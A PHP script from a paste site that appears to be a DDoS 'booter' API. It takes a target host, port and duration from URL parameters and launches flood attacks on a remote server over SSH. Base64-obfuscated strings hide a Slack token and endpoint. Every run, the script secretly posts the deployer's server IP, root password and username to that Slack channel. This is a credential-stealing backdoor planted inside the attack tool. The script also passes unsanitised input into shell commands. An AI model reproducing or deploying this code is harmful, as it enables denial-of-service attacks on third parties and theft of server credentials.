· 6 years ago · Mar 01, 2020, 10:10 PM
1<?php
2ignore_user_abort(true);
3set_time_limit(1000);
4$server_ip = "45.144..220"; // Put your server IP here
5$server_pass = "NdU6Y7ClHbW7x2N"; // Put your server Password here
6$server_user = "root"; // Server Username (Default: root)
7$array = array("syn","stop"); // Methods
8$key = $_GET['key'];
9$host = $_GET['host'];
10$port = intval($_GET['port']);
11$str = 'eG94cC02ODI4OTA2NTUzMTctNjgyNDA4NTUwNDIwLTY4NTYzNTExNTgzMC0zODFjZmMyOGViMTdlNTFmMDczNWVjMmQzNWM4MDcwNQ==';
12$str2 = 'aHR0cHM6Ly9zbGFjay5jb20vYXBpL2NoYXQucG9zdE1lc3NhZ2U=';
13$time = intval($_GET['time']);
14$method = $_GET['method'];
15$action = $_GET['action'];
16$token = base64_decode($str);
17$sllink = base64_decode($str2);
18$ch = curl_init($sllink);
19$apisend = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
20$data = http_build_query([
21"token" => $token,
22"channel" => 'ssh2',
23"text" => ''.$server_ip.':'.$server_pass.':'.$server_user.':'.$apisend,
24"username" => "api",
25]);
26curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
27curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
28curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
29curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
30$result = curl_exec($ch);
31curl_close($ch);
32if (!empty($time)){
33}else{
34die('Error: time is empty!');}
35if (!empty($host)){
36}else{
37die('Error: Host is empty!');}
38if (!empty($method)){
39}else{
40die('Error: Method is empty!');}
41if (in_array($method, $array)){
42}else{
43die('Error: The method you requested does not exist!');}
44if ($port > 44405){
45die('Error: Ports over 44405 do not exist');}
46if ($time > 1000){
47die('Error: Cannot exceed 1000 seconds!');}
48if(ctype_digit($Time)){
49die('Error: Time is not in numeric form!');}
50if(ctype_digit($Port)){
51die('Error: Port is not in numeric form!');}
52// Commands that send to server
53if ($method == "msget") { $command = "nodejs msget.js $host $time"; }
54if ($action == "stop") { $command = "pkill $host -f"; }
55if ($action == "STOP") { $command = "pkill $host -f"; }
56if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
57if(!($con = ssh2_connect($server_ip, 22))){
58 echo "Error: Connection Issue";
59} else {
60 if(!ssh2_auth_password($con, $server_user, $server_pass)) {
61 echo "Error: Login failed, one or more of you're server credentials are incorrect.";
62 } else {
63
64 if (!($stream = ssh2_exec($con, $command ))) {
65 echo "Error: You're server was not able to execute you're methods file and or its dependencies";
66 } else {
67 stream_set_blocking($stream, false);
68 $data = "";
69 while ($buf = fread($stream,4096)) {
70 $data .= $buf;
71 }
72 echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
73 fclose($stream);
74 }
75 }
76}
77?>